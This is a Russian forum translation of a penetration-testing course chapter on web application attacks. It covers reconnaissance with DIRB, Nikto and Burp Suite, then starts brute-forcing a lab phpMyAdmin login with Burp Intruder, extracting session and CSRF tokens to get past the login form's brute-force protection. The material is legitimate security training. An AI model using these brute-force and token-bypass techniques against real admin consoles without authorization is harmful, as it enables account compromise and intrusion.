Статья PWK-(9) Атаки на веб-приложения (Часть 1/2)

disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 9. Атаки на веб-приложения. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.

Вступление

В этом модуле сосредоточимся на выявлении и эксплуатации распространенных уязвимостей веб-приложений. Современные среды разработки и решения для хостинга упростили процесс создания и развертывания веб-приложений. Однако эти приложения обычно открывают большую поверхность для атак из-за отсутствия зрелого кода приложения, множественных зависимостей и небезопасных конфигураций сервера.

Веб-приложения могут быть написаны на различных языках программирования и фреймворках, каждый из которых может включать определенные типы уязвимостей. Однако наиболее распространенные уязвимости имеют схожую концепцию, независимо от используемого стека технологий.

В этой главе обсудим сбор информации и эксплуатацию уязвимостей веб-приложений. Хотя разных уязвимостей и атак большое количество, будет продемонстрировано использование нескольких распространенных уязвимостей веб-приложений, перечисленных в списке . Эти векторы атак будут служить основными строительными блоками, используемыми для построения более сложных атак.

Методология оценки веб-приложений

Прежде чем начнем обсуждение процессов сбора информации и эксплуатации, поговорим об основной методологии тестирования веб-приложений на проникновение.

В качестве первого шага необходимо собрать информацию о приложении. Что делает приложение? На каком языке написано? На каком серверном программном обеспечении работает приложение? Ответы на эти и другие основные вопросы помогут определить первый (или очередной) потенциальный вектор атаки.

Как и во многих дисциплинах тестирования на проникновение, цель каждой попытки атаки или эксплойта - увеличить имеющиеся привелегии в приложении или обойти ограничения к другому приложению или цели. Каждый успешный эксплойт на пути может предоставить доступ к новым функциям или компонентам в приложении. Возможно потребуется успешно выполнить несколько эксплойтов для перехода от неаутентифицированной учетной записи пользователя к какой-либо оболочке (shell) в системе.

Сбор информации о новых функциях важен на каждом этапе, особенно с учетом того, что ранее неудачные атаки могут быть успешными в новом контексте. Будучи пентестерами, необходимо продолжать собирать информацию и подстраиваться, пока не исчерпаем все возможности атак или не скомпрометируем систему.

Сбор информации о веб-приложениях

Важно определить компоненты, из которых состоит веб-приложение, прежде чем пытаться слепо осуществлять эксплойт в его отношении. Многие уязвимости веб-приложений не зависят от технологии. Однако некоторые эксплойты и полезные нагрузки необходимо создавать на основе технологических основ приложения, таких как программное обеспечение базы данных или операционная система. Прежде чем запускать какие-либо атаки на веб-приложение, необходимо попытаться обнаружить используемый стек технологий, который обычно состоит из следующих компонентов:
  • Язык программирования и фреймворки
  • Программное обеспечение веб-сервера
  • Программное обеспечение для баз данных
  • Серверная операционная система
Существует несколько техник, которые можно использовать для сбора этой информации прямо из браузера. Большинство современных браузеров включают инструменты разработчика, которые могут помочь в процессе сбора информации. Сосредоточимся на Firefox, поскольку это браузер по умолчанию в Kali Linux. Однако большинство браузеров включают аналогичные инструменты разработчика.

Изучение URL-адресов

Расширения файлов, которые иногда являются частью URL-адреса, могут указывать на язык программирования, на котором было написано приложение. Некоторые из них, например .php, просты, но другие расширения более загадочны и различаются в зависимости от используемого фреймворка. Например, веб-приложение на основе Java может использовать .jsp, .do или .html.

Однако расширения файлов на веб-страницах становятся все менее распространенными, поскольку многие языки и фреймворки теперь поддерживают концепцию маршрутов, которая позволяет разработчикам сопоставлять URI с частью кода. Приложения, использующие маршруты, используют логику для определения того, какой контент возвращается пользователю, и делают расширения URI в значительной степени неактуальными.

Изучение содержимого страницы

Хотя проверка URL может дать некоторые подсказки о целевом веб-приложении, большинство контекстных подсказок можно найти в исходнике веб-страницы. Инструмент Firefox Debugger (находится в меню Web Developer или при нажатии Ctrl Shift K) отображает ресурсы и контент страницы, которые зависят от приложения. Инструмент Debugger может отображать фреймворки JavaScript, скрытые поля ввода, комментарии, клиентские элементы управления в HTML, JavaScript и многое другое.

Чтобы продемонстрировать это, откроем отладчик в процессе просмотра :

inspecting_page_content_1.png

Рисунок 1: Использование инструментов разработчика для изучения исходников JavaScript

Видно, что приложение, работающее на , использует версии 1.11.0, обычную библиотеку JavaScript. В этом случае , сделав его более компактным и сохранившим ресурсы, но несколько затруднив чтение. К счастью, можно "сделать более читаемым" код в Firefox, нажав кнопку Pretty print source с двойными фигурными скобками:

inspecting_page_content_2.png

Рисунок 2: Pretty Print Source

После щелчка по значку Firefox отобразит код в формате, который легче читать и исследовать:

inspecting_page_content_3.png

Рисунок 3: Просмотр удобочитаемого исходного кода в Firefox

Также можно использовать инструмент Inspector для детализации определенного содержимого страницы. Воспользуемся Inspector, чтобы проверить элемент email input на странице "Contact", щелкнув правой кнопкой мыши в поле адреса электронной почты на странице и выбрав Inspect Element или используя ярлык PAGE UP.

inspecting_page_content_4.png

Рисунок 4: Выбор элемента ввода электронной почты

Это откроет инструмент Inspector и выделит HTML для выбраного элемента страницы.

inspecting_page_content_5.png

Рисунок 5: Использование инструмента Inspector

Этот инструмент особенно полезен для быстрого поиска скрытых полей формы в исходном коде HTML.

Просмотр заголовков ответов

Также можно изучать ответы сервера для получения дополнительной информации. Есть два типа инструментов, которые можно использовать для выполнения этой задачи. Первый тип инструмента - это прокси (proxy), который перехватывает запросы и ответы между клиентом и веб-сервером. Рассмотрим прокси-серверы позже в этой главе, но сначала рассмотрим инструмент Network, запускаемый из меню Web Developer Firefox для просмотра HTTP запросов и ответов. Этот инструмент показывает сетевую активность, которая происходит после его запуска, поэтому необходимо обновить страницу, чтобы увидеть трафик.

viewing_response_headers_1.png

Рисунок 6: Использование Network Tool для просмотра запросов

Можно щелкнуть запрос, чтобы получить более подробную информацию о нем. В данном примере заголовки ответа:

viewing_response_headers_2.png

Рисунок 7: Просмотр заголовков ответов в Network Tool

Заголовок "Server", отображаемый выше, часто показывает, по крайней мере, название программного обеспечения веб-сервера. Во многих конфигурациях по умолчанию он также показывает номер версии.

Заголовки, начинающиеся с "X-", являются . Имена или значения часто раскрывают дополнительную информацию о технологическом стеке, используемом приложением. Некоторые примеры нестандартных заголовков включают X-Powered-By, x-amz-cf-id и X-Aspnet-Version. Дальнейшее исследование этих имен может выявить дополнительную информацию, такую как заголовок "x-amz-cf-id", который указывает, что приложение использует Amazon CloudFront.

Изучение файлов карты сайта

Веб-приложения могут включать файлы карты сайта, которые помогают роботам поисковых систем сканировать и индексировать свои сайты. Эти файлы также включают директивы о том, какие URL не сканировать. Обычно это конфиденциальные страницы или административные консоли - именно те страницы, которые могут представлять интерес.

Два наиболее распространенных имени файла карты сайта - robots.txt и sitemap.xml.

Например, можно получить файл robots.txt с сайта с помощью команды curl:

Bash:
kali@kali:~$ curl https://www.google.com/robots.txt
User-agent: *
Disallow: /search
Allow: /search/about
Allow: /search/static
Allow: /search/howsearchworks
Disallow: /sdch
Disallow: /groups
Disallow: /index.html?
Disallow: /?
Allow: /?hl=
...
Листинг 1 -

Allow и Disallow - это директивы для поисковых роботов, указывающие страницы или каталоги, к которым "вежливые" поисковые роботы могут или не могут получить доступ, соответственно. Хотя перечисленные страницы и каталоги в большинстве случаев могут не представлять интереса, а некоторые могут даже быть недействительными, файлы карты сайта не следует упускать из виду, поскольку они могут содержать подсказки о макете веб-сайта или другую интересную информацию.

Установление месторасположения консоли Администратора

Веб-серверы часто поставляются с веб-приложениями удаленного администрирования или консолями, которые доступны через определенный URL-адрес и часто прослушивают определенный TCP-порт.

Двумя распространенными примерами являются приложения для Tomcat и для MySQL, размещенных в /manager/html и /phpmyadmin соответственно.

Хотя эти консоли могут быть ограничены локальным доступом или могут размещаться на настраиваемых TCP-портах, часто обнаруживается, что они доступны извне по умолчанию. В любом случае, с точки зрения пентестера, необходимо проверить расположение консоли по умолчанию, указанное в документации к программному обеспечению сервера приложений. В следующем разделе будут также рассмотрены инструменты, которые можно использовать для автоматизации поиска этих консолей, а в следующем разделе будут продемонстрированы методы эксплуатации.

Инструменты оценки веб-приложений

После того, как было тщательно изучено веб-приложение вручную, необходимо рассмотреть возможность использования веб-инструментов оценки приложений, чтобы собрать больше информации о цели.

Существует множество инструментов, которые могут помочь в обнаружении и использовании уязвимостей веб-приложений, многие из которых предустановлены в Kali. В этой главе будут рассмотрены некоторые из этих инструментов, включая несколько простых расширений для браузера, а в следующем разделе сосредоточимся на ручном сборе информации и эксплуатации уязвимостей.

Автоматизированные инструменты могут повысить производительность работы пентестеров, но необходимо также разбираться в ручных методах эксплуатации, поскольку инструменты не всегда могут быть доступными, а ручные методы обеспечивают большую гибкость и возможность настройки. Помните, что инструменты и автоматизация упрощают нашу работу. Они не сделают работу вместо нас.

DIRB

- это сканер веб-контента, который использует словарь (wordlist) для поиска каталогов и страниц путем отправки запросов на сервер. DIRB может определить существующие веб-страницы на веб-сервере, даже если главная index-страница отсутствует.

По умолчанию DIRB определяет интересующие нас каталоги на сервере, но его также можно настроить для поиска определенных каталогов, использование специальных словарей, установки преднастроенных собственных куки (cookie) или заголовков для каждого запроса, а также многое другое.

Запустим DIRB в отношении сайта . Предоставим несколько аргументов: URL для сканирования, -r для нерекурсивного сканирования и -z 10 для добавления задержки в 10 миллисекунд к каждому запросу:

Bash:
kali@kali:~$ dirb http://www.megacorpone.com -r -z 10
...
URL_BASE: http://www.megacorpone.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive
SPEED_DELAY: 10 milliseconds

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://www.megacorpone.com/ ----
+ http://www.megacorpone.com/about (CODE:200|SIZE:12180)
+ http://www.megacorpone.com/admin (CODE:403|SIZE:292)
==> DIRECTORY: http://www.megacorpone.com/assets/
+ http://www.megacorpone.com/contact (CODE:200|SIZE:7721)
+ http://www.megacorpone.com/index (CODE:200|SIZE:12519)
+ http://www.megacorpone.com/index.html (CODE:200|SIZE:12519)
+ http://www.megacorpone.com/jobs (CODE:200|SIZE:11359)
==> DIRECTORY: http://www.megacorpone.com/old-site/
+ http://www.megacorpone.com/robots (CODE:200|SIZE:23)
+ http://www.megacorpone.com/robots.txt (CODE:200|SIZE:23)
+ http://www.megacorpone.com/server-status (CODE:403|SIZE:300)

-----------------
END_TIME: Wed Jun 5 11:03:05 2019
DOWNLOADED: 4612 - FOUND: 9
Листинг 2 - Запуск dirb в отношении .

Согласно выводу в Листинге 2, DIRB сделал 4612 запросов и сообщил URL, код состояния и размер девяти различных ресурсов. По умолчанию инструмент рекурсивно переходит к вновь обнаруженным каталогам, но в этом случае наше нерекурсивное (-r) сканирование просто сообщает о каталогах, не переходя в них. Очевидно, можно было бы начать с нерекурсивного сканирования большой цели и рекурсивно искать интересующие нас каталоги или начать с полного рекурсивного сканирования в зависимости от наших потребностей.

DirBuster - это Java-приложение, похожее на DIRB, которое предлагает многопоточность и графический интерфейс.

Burp Suite

- это набор инструментов с графическим интерфейсом, предназначенный для тестирования безопасности веб-приложений, возможно, наиболее известный как мощный инструмент прокси. В то время как бесплатная Community Edition в основном содержит инструменты, используемые для ручного тестирования, коммерческие версии включают дополнительные функции, в том числе мощный сканер уязвимостей веб-приложений. Burp Suite имеет обширный список функций и заслуживает изучения, но в этом разделе будут рассмотрены только несколько основных функций.

Запустим Burp Suite. Его можно найти в Kali в разделе Applications > 03 Web Application Analysis > burpsuite.

burp_suite_1.png

Рисунок 8: Запуск Burp Suite

Также можно запустить его из командной строки с помощью команды burpsuite:

Bash:
kali@kali:~$ burpsuite
Листинг 3 - Запуск Burp Suite из терминала

Как только программа запустится, выберем Temporary project и нажмем Next.

burp_suite_2.png

Рисунок 9: Процесс старта Burp

Оставим выбранным Use Burp defaults и нажмем Start Burp.

burp_suite_3.png

Рисунок 10: Конфигурирование Burp

Через несколько секунд пользовательский интерфейс загрузится.

burp_suite_4.png

Рисунок 11: Пользовательский интерфейс Burp Suite

Начнем с инструмента Proxy. С помощью этого инструмента можно перехватить любой запрос, отправленный из браузера, до его передачи на сервер. На этом этапе можно изменить почти все в запросе, например, имена параметров, значения формы или добавление новых заголовков. Это позволяет проверить, как приложение обрабатывает неожиданный произвольный ввод. Например, поле ввода может иметь ограничение на размер в 20 символов, но можно было бы использовать Burp Suite для изменения запроса на отправку 30 символов.

Для настроить прокси, сначала щелкнем вкладку Proxy, чтобы открыть несколько вложенных вкладок и отключить инструмент Intercept (перехват), находящийся на вкладке Intercept. Когда Intercept включен, необходимо вручную нажимать Forward (вперед), чтобы отправлять каждый запрос по назначению. В качестве альтернативы можно нажать Drop, чтобы не отправлять запрос. Бывают случаи, когда нужно перехватить трафик и изменить его, но когда просто просматриваем сайт, необходимость нажимать Forward при каждом запросе становится очень утомительной.

Кнопка переключения Intercept is on/off отображает текущее состояние инструмента и может использоваться для его включения или отключения по мере необходимости. Поэтому установим для него значение Intercept is off (Перехват выключен), чтобы трафик нашего браузера проходил нормально:

burp_suite_5.png

Рисунок 12: Выключение перехвата

Затем можно просмотреть настройки прокси листенера. Вложенная вкладка Options (Параметры) показывает, какие порты прослушивают запросы прокси.

burp_suite_6.png

Рисунок 13: Прокси листенер

По умолчанию Burp Suite включает листенер прокси на localhost:8080. Это хост и порт, к которым должен подключиться наш браузер для прокси-трафика через Burp Suite. Оставим эти настройки по умолчанию.

Инструмент Intercept активирован по умолчанию в конфигурации Burp Suite при запуске. Можно проверить этот параметр в разделе User options > Misc > Proxy Interception. Однако многие пользователи при запуске предпочитают деактивировать перехват, что можно сделать, выбрав Always disable. В любом случае, все еще возможно вручную включать и выключать перехват через Proxy > Intercept > Intercept is on/off.

burp_suite_7.png

Рисунок 14: Отключение перехвата при запуске приложения

Далее выберем Proxy, а затем HTTP history. Содержимое будет пустым, пока трафик не будет отправлен через Burp Suite:

burp_suite_8.png

Рисунок 15: Proxy история

По словам автора, представляет собой надстройку "простого включения/выключения прокси-сервера" для Firefox. Будем использовать его для включения или отключения настроек прокси-сервера Firefox. Установим этот add-on сейчас. Можно сделать это из Firefox, нажав кнопку Open menu и выбрав "Adds Ons" в меню:

burp_suite_9.png

Рисунок 16: Меню Firefox

После открытия страницы Add-ons Manager (Менеджер надстроек) будем искать "FoxyProxy Basic", введя его в поле поиска в правом верхнем углу страницы и нажав клавишу ВВОД:

burp_suite_10.png
Рисунок 17: Менеджер надстроек Firefox

На момент написания этой статьи доступны две версии FoxyProxy: Базовая и Стандартная. Будем использовать Basic, потому что его проще настроить и нам не нужны какие-либо дополнительные функции стандартной версии:

burp_suite_11.png

Рисунок 18: Результаты поиска надстроек в Firefox

Нажмите FoxyProxy Basic, чтобы просмотреть более подробную информацию о расширении, а затем нажмите Add to Firefox, чтобы установить надстройку:

burp_suite_12.png

Рисунок 19: FoxyProxy Basic

После того, как будет дано разрешение для FoxyProxy Basic, нажмем Add, чтобы завершить установку. Страница приветствия для FoxyProxy откроется автоматически после завершения установки. Также должен появиться новый значок справа от адресной строки:

burp_suite_13.png

Рисунок 20: Значок FoxyProxy Basic

По умолчанию FoxyProxy отключен. Можем проверить это визуально, посмотрев на значок. Если на нем есть красный кружок с косой чертой, надстройка отключена. Перед его включением необходимо добавить профиль.

Сначала щелкнем по маленькому значку головы лисы, чтобы открыть экран настроек, и выберем Options:

burp_suite_14.png

Рисунок 21: Значок FoxyProxy Basic

На странице Options (Параметры) нажмите Add, чтобы открыть экран "Add Proxy" (Добавить прокси).

burp_suite_15.png

Рисунок 22: Параметры FoxyProxy Basic

Чтобы настроить профиль для Burp Suite, сначала установим Proxy Type на "HTTP", введем "Burp" для Title и "127.0.0.1" для IP address. Кроме того, добавим номер порта прокси листенера Burp Suite, который был оставлен по умолчанию 8080. Наконец, нажимаем "Сохранить".

burp_suite_16.png

Рисунок 23: Настройки FoxyProxy Basic для Burp Suite

После сохранения увидим наш новый прокси в списке на странице параметров. Можно включить его, снова щелкнув значок FoxyProxy, а затем нажав Use proxy Burp for all URLs (ignore patterns) (Использовать прокси Burp для всех URL-адресов (игнорировать шаблоны)).

burp_suite_17.png

Рисунок 24: Выбор профиля FoxyProxy

Значок FoxyProxy больше не должен быть перечеркнут, и он должен отображать "Burp" над значком.

burp_suite_18.png

Рисунок 25: Подтверждение, что FoxyProxy активен

При включенном прокси-сервере можно закрыть любые дополнительные открытые вкладки и перейти на . В BurpSuite должны увидеть трафик в разделе Proxy > HTTP History.

burp_suite_19.png

Рисунок 26: Burp Suite история HTTP

Если браузер зависает при загрузке страницы, возможно, включен Intercept. Отключение этого параметра позволит беспрепятственно передавать трафик. Когда перейдем к дополнительным страницам, должны увидеть больше запросов на вкладке HTTP History.

Почему detectportal.firefox.com продолжает отображаться в истории прокси? - это веб-страница, которая служит своего рода страницей-шлюзом при попытке просмотра Интернета. Он часто отображается при принятии пользовательского соглашения или аутентификации через браузер в сети Wi-Fi. Чтобы игнорировать это, просто введите about:config в адресной строке. Firefox выдаст предупреждение, но можно продолжить, нажав "Я принимаю риск!". Наконец, найдите "network.captive-portal-service.enabled" и дважды щелкните его, чтобы изменить значение на "false". Это предотвратит появление этих сообщений в истории прокси.

На данный момент Firefox проксирует весь свой трафик через Burp Suite. До этого момента рассматривался только HTTP-трафик в открытом виде. Однако, если будем просматривать сайт HTTPS во время проксирования трафика через Burp (например, ), будет выдаваться предупреждение о "недействительном сертификате":

burp_suite_20.png

Рисунок 27: Предупреждение о небезопасном соединении в Firefox

Burp может легко расшифровать HTTPS-трафик, создав самостоятельно свой собственный сертификат SSL/TLS, по сути , для перехвата трафика. Эти предупреждения могут раздражать, но их можно убрать, выпустив новый сертификат и импортировав его в Firefox.

Несмотря на то, что каждый сертификат CA Burp Suite должен быть уникальным, будем гарантировать это путем его регенерации. Для этого перейдем к Proxy > Options > Proxy Listeners в BurpSuite и нажмем Regenerate CA certificate, как показано ниже:

burp_suite_21.png

Рисунок 28: Регенерация Burp’s CA Certificate

Нажмите Yes в диалоговом окне подтверждения и перезапустите Burp Suite.

Чтобы импортировать новый сертификат CA в Firefox, сначала перейдем к , чтобы найти ссылку на сертификат:

burp_suite_22.png

Рисунок 29: Приветственная страница Burp

Чтобы просмотреть сертификат, нажмем CA Certificate на этом экране (или подключаемся к ) и сохраним файл cacert.der на локальном компьютере.

burp_suite_23.png

Рисунок 30: Скачивание сертификата Burp Suite

После завершения загрузки можно перетащить загруженный файл в Firefox, выбрать Trust this CA to identify websites и нажать OK.

burp_suite_24.png

Рисунок 31: Импортирование сертификата в Firefox

Чтобы убедиться, что импорт был успешным, можно снова перейти на сайт с использованием HTTPS, например , который должен загружаться без предупреждения и генерировать трафик HTTPS на вкладке истории HTTP BurpSuite.

Наконец, с помощью инструмента Repeater можно легко изменять запросы, повторно отправлять их и просматривать ответы. Чтобы увидеть это в действии, можно щелкнуть правой кнопкой мыши запрос из Proxy > HTTP History и выбрать Send to Repeater.

burp_suite_25.png

Рисунок 32: Отправка запроса в Repeater

Если нажать на Repeater, появится одна дополнительная вкладка с запросом в левой части окна. Можно отправить несколько запросов в Repeater, и он отобразит их на отдельных вкладках. Можно отправить запрос на сервер, нажав Send.

burp_suite_26.png

Рисунок 33: Burp Suite Repeater

Burp Suite отобразит необработанный ответ сервера в правой части окна, который включает заголовки ответа и неотрендеренное содержимое ответа.

burp_suite_27.png

Рисунок 34: Burp Suite Repeater с запросом и ответом

Эксплуатация веб-приложений часто требует большого количества проб и ошибок, поскольку необходимо отправлять и изменять запросы и отслеживать ответы. Repeater очень полезен для этого, поскольку можно быстро настроить элементы запроса и повторно отправить их, не дожидаясь, пока браузер отобразит каждый ответ.

Nikto

- это настраиваемый сканер веб-серверов с открытым исходным кодом, который проверяет тысячи опасных файлов и программ, уязвимых версий серверов и различных проблем с конфигурацией серверов. Он работает хорошо, но не предназначен для скрытности, поскольку он будет отправлять множество запросов и вставлять информацию о себе в заголовок .

Nikto может сканировать несколько серверов и портов и проверит столько страниц, сколько сможет найти. На сайтах с тяжелым контентом, таких как сайт электронной торговли, работа Nikto может занять несколько часов. Имеется два варианта управления продолжительностью сканирования. Самый простой вариант - установить параметр -maxtime, который остановит работу по истечении заданного времени. Это никоим образом не оптимизирует процесс. Nikto просто остановит сканирование. Второй вариант - это с помощью параметра -T. Можно использовать эту функцию, чтобы контролировать, какие типы тестов необходимо запустить. Бывают случаи, когда нет необходимости запускать все тесты, встроенные в Nikto, например, проверять, присутствует ли определенный класс уязвимостей. В таких ситуациях настройка сканирования неоценима.

Nikto особенно полезен для обнаружения так называемых "низко висящих фруктов", сообщения о нестандартных заголовках сервера и обнаружения ошибок конфигурации сервера.

Чтобы продемонстрировать это, запустим Nikto в отношении . Укажем хост, который следует просканировать (-host= ), и для этой демонстрации установим -maxtime=30s, чтобы ограничить продолжительность сканирования до 30 секунд:

Bash:
kali@kali:~$ nikto -host=http://www.megacorpone.com -maxtime=30s
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 38.100.193.76
+ Target Hostname: www.megacorpone.com
+ Target Port: 80
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server may leak inodes via ETags, header found with file /, inode:
152243, size: 12519, mtime: Fri May 17 06:26:28 2019
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to
the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the
user agent to render the content of the site in a different fashion to
the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.2.22 appears to be outdated (current is at least
Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ ERROR: Host maximum execution time of 30 seconds reached
+ ERROR: Host maximum execution time of 30 seconds reached
+ Scan terminated: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2019-06-05 11:22:35 (GMT-4) (31 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Листинг 4- Запуск nikto в отношении

Несмотря на ограниченную продолжительность сканирования, вывод в Листинге 4 все же предоставил некоторую интересную информацию. Например, он определил, что версия Apache, работающая на сервере, устарела и истек срок ее эксплуатации.

В этом кратком введении были рассмотрены лишь часть инструментов, доступных в Kali Linux, но инструменты, которые были рассмотрены к настоящему моменту, хорошо помогут продемонстрировать материалы, которые последуют далее в этой главе.

Эксплуатация веб-уязвимостей

Теперь, когда был рассмотрен сбор информации и изучены возможности использования некоторых из основных инструментов, обратим внимание на эксплуатацию уязвимостей. В этом разделе будут рассматриваться веб-консоли администрирования и будет акцентировано внимание на конкретных уязвимостях, таких как cross-site скриптинг, обход каталогов (directory traversal), инклюзия (включение) файлов, SQL-инъекции и многое другое.

Эксплуатация административных консолей

Начнем со сбора информации и эксплуатации консоли администратора. После того, как была найдена консоль администратора, простейший "эксплойт" - просто войти в нее. Можно попытаться использовать пары имя пользователя/пароль по умолчанию, использовать собранную ранее информацию, чтобы угадать рабочие учетные данные, или попытаться использовать брутфорс.

Обычно простейший подход, чаще всего и наилучший - это использование брутфорса. Перебор отрицательно повлияет на процесс нашего пентеста, заблокирует законных администраторов и может предупредить о нашем присутствии. Как всегда, необходимо тщательно взвесить риски каждого вектора атаки и действовать осторожно и в интересах клиента.

Несмотря на эти риски, скомпрометированная консоль администрирования является значимой целью и может позволить развернуть и запустить код на сервере, который может обеспечить быстрый путь к шеллу.

Чтобы продемонстрировать это, рассмотрим пример атаки на плохо настроенную консоль администратора, установленную на Windows 10 цели.

Для начала настроим Windows 10 цель, открыв панель управления XAMPP и нажав Start для Apache и для MySQL.

exploiting_admin_consoles_1.png

Рисунок 35: Панель управления XAMPP

Затем запустим dirb из Kali для нашей машины с Windows 10.

Bash:
kali@kali:~$ dirb http://10.11.0.22 -r
...
URL_BASE: http://10.11.0.22/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.11.0.22/ ----
...
+ http://10.11.0.22/lpt1 (CODE:403|SIZE:1047)
+ http://10.11.0.22/lpt2 (CODE:403|SIZE:1047)
+ http://10.11.0.22/nul (CODE:403|SIZE:1047)
==> DIRECTORY: http://10.11.0.22/phpmyadmin/
+ http://10.11.0.22/prn (CODE:403|SIZE:1047)
+ http://10.11.0.22/robots.txt (CODE:200|SIZE:79)
...
Листинг 5- Запуск dirb на нашей лабораторной машине с Windows 10

В выводе присутсвует несколько интересных URL-адресов, включая выделенную ссылку на phpmyadmin - инструмент администрирования баз данных MySQL, что особенно интересно.

При вводе соответствующего URL-адреса в браузере открывается страница входа в phpMyAdmin:

exploiting_admin_consoles_2.png

Рисунок 36: Страница входа в phpMyAdmin

Быстрый поиск в Интернете подсказывает, что учетные данные по умолчанию для phpMYAdmin включают "root" с пустым паролем. Попробуем это с нашей Windows 10 целью:

exploiting_admin_consoles_3.png

Рисунок 37: Сообщение об ошибке phpMyAdmin

Если попробуем ввести эти учетные данные, то получим сообщение об ошибке "Вход без пароля запрещен конфигурацией". Это связано с тем, что для параметра AllowNoPassword установлено значение False в файле конфигурации phpMyAdmin (C:\xampp\phpMyAdmin\config.inc.php). При таких настройках нужно ввести пароль для входа в систему, поэтому логично предположить, что пароль не пустой. Придется попробовать что-то еще, если хотим получить доступ.

Burp Suite Intruder

Поскольку учетные данные по умолчанию, похоже, не работают, а пустые пароли не допускаются, попробуем автоматизировать использование некоторых базовых комбинаций имени пользователя и пароля с помощью инструмента . Имейте в виду, что эта функция имеет временную задержку в Burp Community Edition. Тем не менее, можно использовать его для объяснения некоторых важных понятий.

Отправим несколько попыток входа в систему вручную из вашего браузера и посмотрим на ответы в Burp Suite. Были объединены три запроса на следующем снимке экрана:

burp_suite_intruder_1.png

Рисунок 38: Содержимое логин-запросов для PHP My Admin

Судя по выходным данным, этот тест может быть не таким простым, как кажется, поскольку приходится иметь дело с несколькими факторами. Как видно из запросов, форма входа включает в себя для предотвращения брутфорса и других атак. Кроме того, видно, что форма устанавливает параметр set_session, который уникален для каждого запроса.

Если изменить параметр set_session и он не будет соответствовать значению файла cookie phpMyAdmin, сайт вернет ошибку:

burp_suite_intruder_2.png

Рисунок 39: Сообщение об ошибке phpMyAdmin при несоответствии значений сессии

Необходимо избежать этой ошибки, если хотим осуществить успешный вход в систему. Если посмотрим на исходный HTML-код формы входа, увидим, что в ответ включены новые значения set_session и token:

burp_suite_intruder_3.png

Рисунок 40: Изменение значений для входа

Чтобы обойти эту защитную меру и обеспечить совпадение значений, можно автоматизировать запрос с помощью Intruder.

Однако сначала необходимо отправить запрос на вход в Intruder для анализа. Можно сделать это, перейдя в Proxy > HTTP History, щелкнув правой кнопкой мыши POST запрос на "/phpmyadmin/index.php", а затем выбрав Send to Intruder:

burp_suite_intruder_4.png

Рисунок 41: Отправка в Intruder

Теперь, нажав на вкладку Intruder, обнаружим, что она содержит несколько вложенных вкладок запроса. Под ними найдем четыре дополнительных вложенных вкладки: Target, Positions, Payloads и Options. Рассмотрим их по порядку начиная с Target.

burp_suite_intruder_5.png

Рисунок 42: Закладка Target в Intruder

Информация на этой вкладке предварительно заполняется на основе запроса, поэтому оставим значения как есть.

Далее рассмотрим содержимое вкладки Positions:

burp_suite_intruder_6.png

Рисунок 43: Закладка Positions в Intruder

Используем эту вкладку, чтобы отмечать, в какие поля хотим, чтобы Burp Suite вставлял полезные данные при запуске атаки. Burp Suite автоматически помечает значения cookie и значения тела POST как позиции полезной нагрузки, используя знак параграфа (§) в качестве разделителя. Однако нет необходимости использовать все эти позиции, установленные по умолчанию, поэтому очистим их с помощью Clear §.

Оставим для pma_username значение "root", поскольку это целевая учетная запись. Есть еще четыре значения, которые необходимо изменить для предстоящих попыток входа в систему. Вставим ранее опробованный пароль в pma_password, выбрав значение и нажав Add §. Значение cookie phpMyAdmin и значение тела сообщения set_session изменяются при каждом запросе, поэтому также необходимо добавить их в качестве позиций полезной нагрузки. Наконец, значение token также изменяется при каждом запросе для предотвращения брутфорса, поэтому необходимо выбрать его значение и также нажать Add §.

Установим на значение "Pitchfork", что позволит установить уникальный список полезной нагрузки для каждой позиции. Это необходимо для учета различий в значениях полезной нагрузки, которые хотим отправить. Pitchfork атака поместит первое значение из каждого списка на соответствующие позиции, а затем отправит запрос. Следующий запрос будет использовать второе значение из каждого списка и так далее. В Intruder есть несколько других типов атак, но их здесь не будем рассматривать.

burp_suite_intruder_7.png

Рисунок 44: Установка полезной нагрузки на вкладке Position

Настройка атаки "Pitchfork" с нужными полезными нагрузками может немного запутать. Обязательно прочтите весь этот раздел, прежде чем продолжать.

Необходимо настроить некоторые из наших полезных нагрузок на вкладке Options, прежде чем сможем их использовать, поэтому пока пропустим вкладку Payloads. Потребуется что-то, что может извлекать данные из ответа и вставлять их в следующий запрос. В Burp Suite включена полезная нагрузка "Recursive grep", которая ищет ответ с помощью для предопределенного значения и делает результаты доступными для следующего запроса. Это именно то, что нужно, чтобы установить значения для cookie phpMyAdmin, для тела сообщения set_session и для поля token.

Нажмите Options, а затем Add, чтобы начать настройку нашей первой полезной нагрузки Recursive Grep.

burp_suite_intruder_8.png

Рисунок 45: Добавление Grep-извлекателя

Это откроет новое окно с HTTP-ответом, который можно использовать для определения местоположения элемента, который хотим извлечь. Использование заголовков "Set-Cookie" для извлечения значения сеанса, нем не подходит, потому что сервер устанавливает несколько экземпляров файла cookie phpMyAdmin, а Burp всегда будет использовать первый найденный экземпляр. Необходимо прокрутить вниз в окне ответа HTTP до скрытого поля ввода set_session в форме входа в систему.

Щелкнем и выберем значение поля ввода. Когда сделаем это, Burp автоматически установит значения "Start after expression" и "End at delimiter", определяющие разделители для grep-извлекателя, как показано ниже.

burp_suite_intruder_9.png

Рисунок 46: Определение grep-извлекателя для сеанса

Нажмем Ok, чтобы сохранить извлекаемый отрывок, а затем определим другой отрывок, нажав Add from Intruder > 2 > Options.

Теперь необходимо выбрать содержимое поля token:

burp_suite_intruder_10.png

Рисунок 47: Определение grep-извлекателя

Снова нажмите Ok, чтобы сохранить второй отрывок.

